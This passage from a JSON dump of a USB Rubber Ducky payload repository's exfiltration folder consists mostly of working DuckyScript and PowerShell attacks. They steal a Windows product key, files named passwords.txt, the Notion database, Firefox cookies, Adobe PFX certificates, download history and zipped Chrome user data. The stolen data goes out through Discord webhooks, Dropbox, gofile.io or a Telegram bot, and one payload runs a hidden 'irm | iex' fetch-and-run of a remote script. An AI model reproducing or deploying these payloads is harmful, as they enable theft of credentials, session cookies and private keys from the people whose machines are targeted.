transferrable? https://www.tomshardware.com/how-to/transfer-windows-license-to-new-pc#is-your-windows-product-key-transferrable-3"
  },
  {
    "path": "payloads/library/exfiltration/Exfiltrate_Windows_Product_Key/payload.txt",
    "content": "REM_BLOCK\n###################################################\n#                                                 |\n# Title        : Exfiltrate Windows Product Key   |\n# Author       : Aleff                            |\n# Version      : 1.0                              |\n# Category     : Exfiltration                     |\n# Target       : Windows 10-11                    |\n#                                                 |\n###################################################\nEND_REM\n\nREM Put here your Discord Webhook, i.e. https://discord.com/api/webhooks/0123456789.../abcefg...\nDEFINE #DISCORD_WEBHOOK example.com\n\nREM_BLOCK\nHow would you prefer to do the exfiltration?\nVia Discord Webhooks or via Rubber Ducky USB storage?\nIf you prefer to use the storage offered by USB Rubber Ducky, set the boolean variable #USB_RUBBER_DUCKY_STORAGE to TRUE, otherwise set it to FALSE and the alternative mode will be automatically selected, so via Discord Webhook.\nEND_REM\nDEFINE #USB_RUBBER_DUCKY_STORAGE TRUE\n\n\nREM_BLOCK\nThis definition allows the drive label to be parameterized dynamically.\nInstead of hardcoding the \"DUCKY\" label throughout the script, we use a defined variable at the beginning that can be easily adjusted.\nThis way, if the drive label changes or needs to be customized for different environments, you only need to update this definition without altering multiple instances in the code. It’s an approach that enhances the script's flexibility and maintainability.\nEND_REM\nDEFINE #DUCKY_DRIVE_LABEL DUCKY\n\n\nEXTENSION DETECT_READY\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n\n        TARGETS:\n            Any system that reflects CAPSLOCK will detect minimum required delay\n            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #RESPONSE_DELAY 25\n    DEFINE #ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY #RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n\nGUI r\nDELAY 1000\nSTRINGLN powershell\nDELAY 2000\n\nSTRINGLN $key_detected=$(wmic path softwarelicensingservice get OA3xOriginalProductKey)+$(wmic path softwarelicensingservice get OA3xOriginalProductKeyDescription);\n\nIF_DEFINED_TRUE #USB_RUBBER_DUCKY_STORAGE\n    STRINGLN\n        $m=(Get-Volume -FileSystemLabel '#DUCKY_DRIVE_LABEL').DriveLetter;\n        echo $key_detected >> ${m}:\\exfiltration.txt\n    END_STRINGLN\nEND_IF_DEFINED\nIF_NOT_DEFINED_TRUE #USB_RUBBER_DUCKY_STORAGE\n    STRINGLN\n        $hookUrl = \"#DISCORD_WEBHOOK\"\n        $exfiltration = @\"$key_detected\"@\n        $payload = [PSCustomObject]@{\n            content = $exfiltration\n        }\n        Invoke-RestMethod -Uri $hookUrl -Method Post -Body ($payload | ConvertTo-Json) -ContentType 'Application/Json'; exit\n    END_STRINGLN\nEND_IF_DEFINED"
  },
  {
    "path": "payloads/library/exfiltration/Exfiltrate_file_through_GUI_mac/README.md",
    "content": "# Exfiltrate Files Through GUI - MacOS\n\n Copies files with a certain name to ducky \n\n **Category**: Exfiltration\n \n ## Description\n\n A script used to open the finder, look for files with a certain name, then copy them all onto the Ducky\n\n## Getting Started\n\n ### Dependencies\n\n * None (That is the beauty of it)\n\n ### Executing program\n\n * Plug in your device\n\n ### Settings\n\n * Here you can define what files you want the ducky to look for. Note that the more matches there are the longer it will take to copy.\n\n ```DuckyScript\n DEFINE #target the_filename_you_want.txt\n ```\n\n * The main `DELAY` points in this script are before tabing 4 times to access the `DUCKY` USB as it is very random how long it takes (in my testing on an m1 pro 3-6 seconds) to show up and the one after the `COMMMAND v` which has to be adjusted depening on how generic the file name looked for it.\n\nDelay for USB to show up:\n```DuckyScript\nREM This can take annoyingly long to show up which is why the delay is so big\nDELAY 6000\n\nREM Go to first result\nDO_TABS()\n```\n\nDelay for how long the file copying takes:\n ```DuckyScript\nREM Paste the copied files. As this may take a few seconds given on how many results there were there is a long delay\nCOMMAND v\nDELAY 7000\n ```\n \n https://user-images.githubusercontent.com/69253692/230636177-ca9c5931-44ee-43a2-addc-4ee7f7fb0d62.mov\n"
  },
  {
    "path": "payloads/library/exfiltration/Exfiltrate_file_through_GUI_mac/payload.txt",
    "content": "REM ###################################################\nREM #                                                 |\nREM # Title        : Exfiltrate Files through GUI mac |\nREM # Author       : Kile                             |\nREM # Version      : 1.0                              |\nREM # Category     : Exfiltration                     |\nREM # Target       : MacOS                            |\nREM #                                                 |\nREM ###################################################\n\nREM NOTE This is not unlikely to fail depending on the speed of search or if a large amount of files meet the criteria. Adjust DELAYs to your needs\n\nATTACKMODE STORAGE HID VID_05AC PID_021E\nDELAY 2000\n\nREM the filename for the payload to look for\nDEFINE #target passwords.txt\n\nREM Given that it uses the GUI it is a good idea to enable jitter to be less suspicious\n$_JITTER_ENABLED = TRUE\n\nREM This function tabs the amount of times it takes from a finder search to go onto the first file result (4)\nFUNCTION DO_TABS()\n    VAR $COUNTER = 0\n    WHILE ($COUNTER < 4)\n        TAB\n        DELAY 100\n        $COUNTER = ($COUNTER + 1)\n    END_WHILE\nEND_FUNCTION\n\nREM Open finder\nCOMMAND SPACE\nSTRINGLN finder\nDELAY 500\nREM Command n spawns a new window. This makes sure there is only one finder tab (for tabbing to the files later)\nCOMMAND n \n\nREM Open search bar in finder\nCOMMAND f\nDELAY 200\nREM type target filename\nSTRING #target\nDELAY 200\nREM This specifies that the passwords.txt has to be a filename and not be in any file\nDOWN\nENTER\nENTER\n\nREM Give a bit to find all files\nDELAY 500\nREM now 4 tabs to get to the first file result\nDO_TABS()\n\nREM select all files that have the specified target in their name\nCOMMAND a\nREM Copy the files\nCOMMAND c\nDELAY 500\nREM Go back to search window\nCOMMAND f\nDELAY 200\nREM Delete previous search\nDEL\n\nREM Search for DUCKY USB\nSTRING DUCKY\nDELAY 200\nDOWN\nENTER\nREM Specifies that the \"DUCKY\" has to be an external USB drive\nSTRING Volume\nDELAY 200\nDOWN\nDOWN\nDOWN\nENTER\nENTER\nREM This can take annoyingly long to show up which is why the delay is so big\nDELAY 6000\n\nREM Go to first result\nDO_TABS()\n\nREM Open the drive\nCOMMAND o\nDELAY 1000\nREM This takes a few seconds\n\nREM Paste the copied files. As this may take a few seconds given on how many results there were there is a long delay\nCOMMAND v\nDELAY 7000\n\nREM Hide\nATTACKMODE OFF\n"
  },
  {
    "path": "payloads/library/exfiltration/Exfiltrates_the_entire_database_of_the_Notion_client/README.md",
    "content": "# Exfiltrates the entire database of the Notion client\n\nThis script can be used to exfiltrate the entire Notion database and thus all client-level content of your Notion account.\n\n**Category**: Exfiltration\n\n## Description\n\nThis script can be used to exfiltrate the entire Notion database and thus all client-level content of your Notion account.\n\nOpen a PowerShell, the get dinamically the Notion full-path and then add the `notion.db` string. Then create all the needed variables for the exfiltration and then send it trough Dropbox. I used Dropbox but you can use whatever you want.\n\n## Dependencies\n\n* Notion must be installed\n* Internet Connection\n\n## Settings\n\n- You must define your Dropbox accessToken or modify the exfiltration modality. Replace just the example word with your token.\n\n`DEFINE #DROPBOX_ACCESS_TOKEN \"example\"`\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.instagram.com/alessandro_greco_aka_aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/instagram.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Instagram\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Discord\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/exfiltration/Exfiltrates_the_entire_database_of_the_Notion_client/payload.txt",
    "content": "REM #########################################################################\nREM #                                                                       |\nREM # Title        : Exfiltrates the entire database of the Notion client   |\nREM # Author       : Aleff                                                  |\nREM # Version      : 1.0                                                    |\nREM # Category     : Exfiltration                                           |\nREM # Target       : Windows 10-11                                          |\nREM #                                                                       |\nREM #########################################################################\n\n\nREM Requirements:\nREM     - Notion must be installed\nREM     - Internet Connection\n\n\nREM You must define your Dropbox accessToken or modify the exfiltration modality.\nDEFINE #DROPBOX_ACCESS_TOKEN example\n\nGUI r\nDELAY 1000\nSTRING PowerShell\nENTER\nDELAY 2000\n\nREM Settings about Notion DB\nSTRINGLN\n    $NotionPath = Join-Path -Path $env:APPDATA -ChildPath 'Notion' \n    $NotionDatabasePath = Join-Path -Path $NotionPath -ChildPath \"notion.db\"\nEND_STRINGLN\n\nREM Setting about exfiltration\nSTRINGLN $accessToken = \"#DROPBOX_ACCESS_TOKEN\"\n\nSTRINGLN\n    $authHeader = @{Authorization = \"Bearer $accessToken\"}\n\n    $uploadUrl = \"https://content.dropboxapi.com/2/files/upload\"\n\n    $dropboxFilePath = \"/notion.db\"\n\n    $headers = @{}\n    $headers.Add(\"Authorization\", \"Bearer $accessToken\")\n    $headers.Add(\"Dropbox-API-Arg\", '{\"path\":\"' + $dropboxFilePath + '\",\"mode\":\"add\",\"autorename\":true,\"mute\":false}')\n    $headers.Add(\"Content-Type\", \"application/octet-stream\")\n\n    Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $NotionDatabasePath; exit;\nEND_STRINGLN\n"
  },
  {
    "path": "payloads/library/exfiltration/Export_Cookies_From_Firefox/README.md",
    "content": "# Export Firefox Cookies Database\n\nThis script may come in handy for those who want to quickly save all the cookies of their Firefox session by exporting the database via dropbox accesstoken.\n\n**Category**: Exfiltration\n\n## Description\n\nThis script may come in handy for those who want to quickly save all the cookies of their Firefox session by exporting the database via dropbox accesstoken.\n\nOpen a PowerShell, select dynamically the Firefox path adding \"cookies.sqlite\" at the end, then set your exfiltration settings i.e. Dropbox access token and so on... then export it, then close the powershell.\n\n## Dependencies\n\n* Firefox must be installed\n\n## Settings\n\n- You must define your Dropbox accessToken or modify the exfiltration modality. Replace just the example word with your token.\n\n    `DEFINE DROPBOX_ACCESS_TOKEN \"example\"`\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/exfiltration/Export_Cookies_From_Firefox/payload.txt",
    "content": "REM ####################################################\nREM #                                                  |\nREM # Title        : Export Firefox Cookies Database   |\nREM # Author       : Aleff                             |\nREM # Version      : 1.0                               |\nREM # Category     : Exfiltration                      |\nREM # Target       : Windows 10-11                     |\nREM #                                                  |\nREM ####################################################\n\n\nREM Requirements:\nREM     - Firefox must be installed\n\n\nREM You must define your Dropbox accessToken or modify the exfiltration modality. Replace just the example word with your token.\nDEFINE DROPBOX_ACCESS_TOKEN \"example\"\n\n\nDELAY 1000\nGUI r\nDELAY 500\nSTRING powershell\nDELAY 500\nENTER\nDELAY 2000\n\n\nREM Get cookies DB path\nSTRINGLN\n    $firefoxProfilePath = Join-Path -Path $env:APPDATA -ChildPath 'Mozilla\\Firefox\\Profiles'\n    $firefoxProfile = Get-ChildItem -Path $firefoxProfilePath | Where-Object {$_.Name -like \"*default-release\"}\n\n    $filePath = Join-Path -Path $firefoxProfile.FullName -ChildPath 'cookies.sqlite'\n\nEND_STRINGLN\n\nREM Setting about exfiltration\nSTRING $accessToken = \nSTRING DROPBOX_ACCESS_TOKEN\nENTER\n\nSTRINGLN\n    $uploadUrl = \"https://content.dropboxapi.com/2/files/upload\"\n    \n    $dropboxFilePath = \"/cookies_exported.sqlite\"\n\n    $headers = @{}\n    $headers.Add(\"Authorization\", \"Bearer $accessToken\")\n    $headers.Add(\"Dropbox-API-Arg\", '{\"path\":\"' + $dropboxFilePath + '\",\"mode\":\"add\",\"autorename\":true,\"mute\":false}')\n    $headers.Add(\"Content-Type\", \"application/octet-stream\")\n\n    Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $filePath; exit;\nEND_STRINGLN\n"
  },
  {
    "path": "payloads/library/exfiltration/Export_Cookies_From_Firefox/script.ps1",
    "content": "\n\n$firefoxProfilePath = Join-Path -Path $env:APPDATA -ChildPath 'Mozilla\\Firefox\\Profiles'\n$firefoxProfile = Get-ChildItem -Path $firefoxProfilePath | Where-Object {$_.Name -like \"*default-release\"}\n\n$filePath = Join-Path -Path $firefoxProfile.FullName -ChildPath 'cookies.sqlite'\n\n$accessToken = \"\"\n$authHeader = @{Authorization = \"Bearer $accessToken\"}\n$dropboxFilePath = \"/cookies_exported.sqlite\"\n\n$uploadUrl = \"https://content.dropboxapi.com/2/files/upload\"\n\n$headers = @{}\n$headers.Add(\"Authorization\", \"Bearer $accessToken\")\n$headers.Add(\"Dropbox-API-Arg\", '{\"path\":\"' + $dropboxFilePath + '\",\"mode\":\"add\",\"autorename\":true,\"mute\":false}')\n$headers.Add(\"Content-Type\", \"application/octet-stream\")\n\nInvoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $fileContent\n"
  },
  {
    "path": "payloads/library/exfiltration/Export_all_saved_certificates_with_Adobe_Reader/README.md",
    "content": "# Export all saved certificates with Adobe Reader\n\nThis script can be used to export all PFX certificates saved in plain text and without any protection from Adobe Reader.\n\n**Category**: Exfiltration\n\n## Description\n\nThis script can be used to export all PFX certificates saved in plain text and without any protection from Adobe Reader.\n\nOpen a PowerShell, go to Adobe Reader Path dinamically, then select all the pfx certificates, then set the exfiltration settings and export the certificates trough a foreach using Dropbox.\n\n**The unauthorized extraction of PFX certificates can be considered a criminal offense**. Taking possession of such certificates, which contain sensitive information such as private keys and critical authentication data, violates the owner's property rights.\n\n## Dependencies\n\n* Adobe Reader must be installed\n* Internet Connection\n\n## Settings\n\n- You must define your Dropbox accessToken or modify the exfiltration modality. Replace just the example word with your token.\n\n    `DEFINE #DROPBOX_ACCESS_TOKEN \"example\"`\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/exfiltration/Export_all_saved_certificates_with_Adobe_Reader/payload.txt",
    "content": "REM ####################################################################\nREM #                                                                  |\nREM # Title        : Export all saved certificates with Adobe Reader   |\nREM # Author       : Aleff                                             |\nREM # Version      : 1.0                                               |\nREM # Category     : Exfiltration                                      |\nREM # Target       : Windows 10-11                                     |\nREM #                                                                  |\nREM ####################################################################\n\n\nREM Requirements:\nREM     - Adobe Reader must be installed\nREM     - Internet Connection\n\n\nREM You must define your Dropbox accessToken or modify the exfiltration modality.\nDEFINE #DROPBOX_ACCESS_TOKEN example\n\n\nGUI r\nDELAY 1000\nSTRING PowerShell\nDELAY 2000\n\nREM Settings about Adobe Reader\nSTRINGLN\n    $roamingFolderPath = [Environment]::GetFolderPath('ApplicationData')\n    $securityFolderPath = Join-Path -Path $roamingFolderPath -ChildPath 'Adobe\\Acrobat\\DC\\Security'\n    $pfxFiles = Get-ChildItem -Path $securityFolderPath -Filter '*.pfx' -File\nEND_STRINGLN\n\nREM Setting about exfiltration\nSTRINGLN $accessToken = \"#DROPBOX_ACCESS_TOKEN\"\n\nSTRINGLN\n    $authHeader = @{Authorization = \"Bearer $accessToken\"}\n\n    $uploadUrl = \"https://content.dropboxapi.com/2/files/upload\"\n\n    foreach ($file in $pfxFiles) {\n        $dropboxFilePath = \"/$file\"\n        $headers = @{}\n        $headers.Add(\"Authorization\", \"Bearer $accessToken\")\n        $headers.Add(\"Dropbox-API-Arg\", '{\"path\":\"' + $dropboxFilePath + '\",\"mode\":\"add\",\"autorename\":true,\"mute\":false}')\n        $headers.Add(\"Content-Type\", \"application/octet-stream\")\n\n        Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $file\n    }\n\n    exit    \nEND_STRINGLN\n"
  },
  {
    "path": "payloads/library/exfiltration/Exports_all_the_links_of_the_downloads/README.md",
    "content": "# Exports all the links of the downloads\n\nThis script can be used to export all the links of the latest downloads made through Firefox.\n\n**Category**: Exfiltration\n\n\n## Description\n\nThis script can be used to export all the links of the latest downloads made through Firefox.\n\nThis script open the Firefox app, then go to downloads page and copy all, then open a PowerShell and put all the download link in a var named $DOWNLOADS, then use a Discord Webhook to exfiltrate it.\n\n\n## Dependencies\n\n* Firefox must be installed\n* Internet connection\n\n\n## Settings\n\n- You must define your Discord webhook if you want to use this method for the exfiltration\n\n    `DEFINE DISCORD_WEBHOOK example`\n\n- This delay depends on the number of links\n\n    `DELAY 10000`\n\n- This algorithm is used to avoid the size limit imposed by Invoke-RestMethod on the payload length\n\n    ```\n    $len = $DOWNLOADS.Length\n        $MAX_LEN = 1900\n\n        $ITERATIONS = [math]::Ceiling($len / $MAX_LEN)\n\n        for ($i = 0; $i -lt $ITERATIONS; $i++) {\n            $init = $i * $MAX_LEN\n            $end = [math]::Min(($i + 1) * $MAX_LEN, $len)\n            \n            $sub = $DOWNLOADS.Substring($init, $end - $init)\n            $Payload = @{content = $sub} | ConvertTo-Json\n\n            Invoke-RestMethod -Uri $WebhookUrl -Method Post -Body $Payload -ContentType 'application/json'\n        }\n    ```\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/exfiltration/Exports_all_the_links_of_the_downloads/payload.txt",
    "content": "REM ###########################################################\nREM #                                                         |\nREM # Title        : Exports all the links of the downloads   |\nREM # Author       : Aleff                                    |\nREM # Version      : 1.0                                      |\nREM # Category     : Exfiltration                             |\nREM # Target       : Windows 10/11                            |\nREM #                                                         |\nREM ###########################################################\n\n\nREM Requirements:\nREM     - Firefox installed\n\n\nREM You must define your Discord webhook if you want to use this method for the exfiltration\nDEFINE DISCORD_WEBHOOK example\n\nREM Open Firefox\nGUI\nDELAY 1000\nSTRING Firefox\nDELAY 500\nENTER\nDELAY 2000\n\nREM Goto downloads and copy all\nCTRL j\nDELAY 500\nCTRL a\nDELAY 500\nCTRL c\nDELAY 500\n\nREM Open a PowerShell and put all the links into $DOWNLOADS var\nGUI r\nDELAY 500\nSTRING powershell\nENTER\nDELAY 1000\nSTRING $DOWNLOADS=\"\nCTRL v\nDELAY 500\nENTER\n\nREM It depends on the number of links\nDELAY 10000\n\nSTRINGLN \"\n\nREM Exfiltration using Discord Webhook\nSTRING $WebhookUrl = \"\nSTRING DISCORD_WEBHOOK\nSTRINGLN \"\n\nSTRINGLN $Payload = @{content = $DOWNLOADS} | ConvertTo-Json\n\nREM This algorithm is used to avoid the size limit imposed by Invoke-RestMethod on the payload length\nSTRINGLN\n\n    $len = $DOWNLOADS.Length\n    $MAX_LEN = 1900\n\n    $ITERATIONS = [math]::Ceiling($len / $MAX_LEN)\n\n    for ($i = 0; $i -lt $ITERATIONS; $i++) {\n        $init = $i * $MAX_LEN\n        $end = [math]::Min(($i + 1) * $MAX_LEN, $len)\n        \n        $sub = $DOWNLOADS.Substring($init, $end - $init)\n        $Payload = @{content = $sub} | ConvertTo-Json\n\n        Invoke-RestMethod -Uri $WebhookUrl -Method Post -Body $Payload -ContentType 'application/json'\n    }\n    exit;\n\nEND_STRINGLN\n"
  },
  {
    "path": "payloads/library/exfiltration/Gather_Network_Info/payload.txt",
    "content": "REM gathernetworkInfo a info stealer script by JonnyBanana\nREM require twind duck Firmware\nREM https://github.com/JonnyBanana/Rubber_Ducky_Gather_Network_Info\nREM large delay beacause Windows require a lot of time to read the Ducky with twin duck firmware\nDELAY 10000\nGUI R\nDELAY 200\nSTRING cmd /C \"start gatherNetworkInfo.vbs\"\nDELAY 200\nREM run as admin\nCTRL-ALT ENTER\nDELAY 100\nLEFTARROW\nDELAY 100\nENTER\nREM the scripts require a little of time to create the files....\nDELAY 15000\nCTRL ESC\nDELAY 200\nSTRING powershell\nDELAY 200\nENTER\nDELAY 200\nREM the Rubber Ducky MUST renamed on \" _ \" (bottom bar)\nSTRING .((gwmi win32_volume -f 'label=''_''').Name+'DuckyStealer.ps1')\nDELAY 200\nENTER\nREM the last command takes about thirty seconds to copy all the informations\nREM so be patient...\n"
  },
  {
    "path": "payloads/library/exfiltration/Google-Exfil/README.md",
    "content": "Title: Google Exfiltration<br>\r\nAuthor:\tmrproxy<br>\r\n\r\nDescription: This payload runs powershell script that zip google user data, uses gofile.io api to upload it, and then sends download link to telegram bot or discord webhook.<br>\r\nTarget:\tWindows 10, 11<br>\r\nVersion:\t1.0<br>\r\nCategory:\tExfiltration<br>\r\nSource: https://github.com/Mr-Proxy-source/BadUSB-Payloads<br>"
  },
  {
    "path": "payloads/library/exfiltration/Google-Exfil/payload.ps1",
    "content": "### Created by mrproxy\r\n\r\n# $botToken = \"bot_token\"\r\n# $chatID = \"chat_id\"\r\n# $webhook = \"dc_webhook\"\r\n\r\n# Function for sending messages through Telegram Bot\r\nfunction Send-TelegramMessage {\r\n    param (\r\n        [string]$message\r\n    )\r\n\r\n    if ($botToken -and $chatID) {\r\n        $uri = \"https://api.telegram.org/bot$botToken/sendMessage\"\r\n        $body = @{\r\n            chat_id = $chatID\r\n            text = $message\r\n        }\r\n\r\n        try {\r\n            Invoke-RestMethod -Uri $uri -Method Post -Body ($body | ConvertTo-Json) -ContentType 'application/json'\r\n        } catch {\r\n            Write-Host \"Failed to send message to Telegram: $_\"\r\n        }\r\n    } else {\r\n        Send-DiscordMessage -message $message\r\n    }\r\n}\r\n\r\n# Function for sending messages through Discord Webhook\r\nfunction Send-DiscordMessage {\r\n    param (\r\n        [string]$message\r\n    )\r\n\r\n    $body = @{\r\n        content = $message\r\n    }\r\n\r\n    try {\r\n        Invoke-RestMethod -Uri $webhook -Method Post -Body ($body | ConvertTo-Json) -ContentType 'application/json'\r\n    } catch {\r\n        Write-Host \"Failed to send message to Discord: $_\"\r\n    }\r\n}\r\n\r\nfunction Upload-FileAndGetLink {\r\n    param (\r\n        [string]$filePath\r\n    )\r\n\r\n    # Get URL from GoFile\r\n    $serverResponse = Invoke-RestMethod -Uri 'https://api.gofile.io/getServer'\r\n    if ($serverResponse.status -ne \"ok\") {\r\n        Write-Host \"Failed to get server URL: $($serverResponse.status)\"\r\n        return $null\r\n    }\r\n\r\n    # Define the upload URI\r\n    $uploadUri = \"https://$($serverResponse.data.server).gofile.io/uploadFile\"\r\n\r\n    # Prepare the file for uploading\r\n    $fileBytes = Get-Content $filePath -Raw -Encoding Byte\r\n    $fileEnc = [System.Text.Encoding]::GetEncoding('iso-8859-1').GetString($fileBytes)\r\n    $boundary = [System.Guid]::NewGuid().ToString()\r\n    $LF = \"`r`n\"\r\n    $bodyLines = (\r\n        \"--$boundary\",\r\n        \"Content-Disposition: form-data; name=`\"file`\"; filename=`\"$([System.IO.Path]::GetFileName($filePath))`\"\",\r\n        \"Content-Type: application/octet-stream\",\r\n        $LF,\r\n        $fileEnc,\r\n        \"--$boundary--\",\r\n        $LF\r\n    ) -join $LF\r\n\r\n    # Upload the file\r\n    try {\r\n        $response = Invoke-RestMethod -Uri $uploadUri -Method Post -ContentType \"multipart/form-data; boundary=$boundary\" -Body $bodyLines\r\n        if ($response.status -ne \"ok\") {\r\n            Write-Host \"Failed to upload file: $($response.status)\"\r\n            return $null\r\n        }\r\n        return $response.data.downloadPage\r\n    } catch {\r\n        Write-Host \"Failed to upload file: $_\"\r\n        return $null\r\n    }\r\n}\r\n\r\n\r\n# Check for 7zip path\r\n$zipExePath = \"C:\\Program Files\\7-Zip\\7z.exe\"\r\nif (-not (Test-Path $zipExePath)) {\r\n    $zipExePath = \"C:\\Program Files (x86)\\7-Zip\\7z.exe\"\r\n}\r\n\r\n# Check for Chrome executable and user data\r\n$chromePath = \"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\"\r\nif (-not (Test-Path $chromePath)) {\r\n    Send-TelegramMessage -message \"Chrome User Data path not found!\"\r\n    exit\r\n}\r\n\r\n# Exit if 7zip path not found\r\nif (-not (Test-Path $zipExePath)) {\r\n    Send-TelegramMessage -message \"7Zip path not found!\"\r\n    exit\r\n}\r\n\r\n# Create a zip of the Chrome User Data\r\n$outputZip = \"$env:TEMP\\chrome_data.zip\"\r\n& $zipExePath a -r $outputZip $chromePath\r\nif ($LASTEXITCODE -ne 0) {\r\n    Send-TelegramMessage -message \"Error creating zip file with 7-Zip\"\r\n    exit\r\n}\r\n\r\n# Upload the file and get the link\r\n$link = Upload-FileAndGetLink -filePath $outputZip\r\n\r\n# Check if the upload was successful and send the link via Telegram\r\nif ($link -ne $null) {\r\n    Send-TelegramMessage -message \"Download link: $link\"\r\n} else {\r\n    Send-TelegramMessage -message \"Failed to upload file to gofile.io\"\r\n}\r\n\r\n# Remove the zip file after uploading\r\nRemove-Item $outputZip"
  },
  {
    "path": "payloads/library/exfiltration/Google-Exfil/payload.txt",
    "content": "REM Title: Google Exfiltration\r\nREM Author:\tmrproxy\r\nREM Description: This payload runs powershell script that zip google user data, uses gofile.io api to upload it, and then sends download link through telegram bot or discord webhook.\r\nREM Target:\tWindows 10, 11\r\nREM Version:\t1.0\r\nREM Category:\tExfiltration\r\nREM Source: https://github.com/Mr-Proxy-source/BadUSB-Payloads\r\n\r\nREM Remember you will have to host the powershell script yourself on any file sharing service (it has to be direct download link)\r\nREM If you are using DropBox, just remember to change it from ?dl=0 top ?dl=1\r\nDEFINE #SCRIPT_URL example.com/payload.ps1?dl=1\r\n\r\nREM If you want to use discord webhook instead of telegram bot, just change DC_WEBHOOK \r\n\r\nREM Telegram bot details\r\nDEFINE #BOT_TOKEN your-bot-token\r\nDEFINE #CHAT_ID your-chat-id\r\n\r\nREM Discord webhook\r\nDEFINE #DC_WEBHOOK your-webhook\r\n\r\nDELAY 1500\r\nGUI r\r\nDELAY 500\r\nREM If you want to use Telegram change just bot token and chat id\r\nREM If you want to use Discord Webhook dont do anything with botToken and chatID just change $webhook\r\nSTRING powershell -w h -NoP -Ep Bypass -Command $botToken='#BOT_TOKEN'; $chatID='#CHAT_ID'; $webhook='#DC_WEBHOOK'; irm #SCRIPT_URL | iex\r\nCTRL-SHIFT ENTER\r\nDELAY 1000\r\nALT y\r\n"
  },
  {
    "path": "payloads/library/exfiltration/HashDumpDucky/README.md",
    "content": "**Title: HashDumpDucky**\r\n\r\n<p>Author: 0i41E<br>\r\nOS: Windows<br>\r\nRequirements: DuckyScript 3.0<br>\r\nVersion: 1.0</p>\r\n\r\n:bangbang: | This is just meant to be a PoC, as this method of Hashdump will result in empty, default hashes on recent versions of Windows.\r\n\r\n**Instruction:**\r\n\r\nBring some time... This payload will run an obfuscated script to dump user hashes and exfiltrate the Administrator hash via Keystroke Reflection Method.\r\n\r\n#\r\n**Instruction:**\r\n\r\nCompile this payload with payloadstudio, place it inside of your Ducky as inject.bin and you are good to go\r\n#\r\nExfiltrate the out.txt file and try to crack the hashes.\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/exfiltration/HashDumpDucky/hash.png)\r\n\r\n*props to Nikhil Mittal*\r\n"
  },
  {
    "path": "payloads/library/exfiltration/HashDumpDucky/payload.txt",
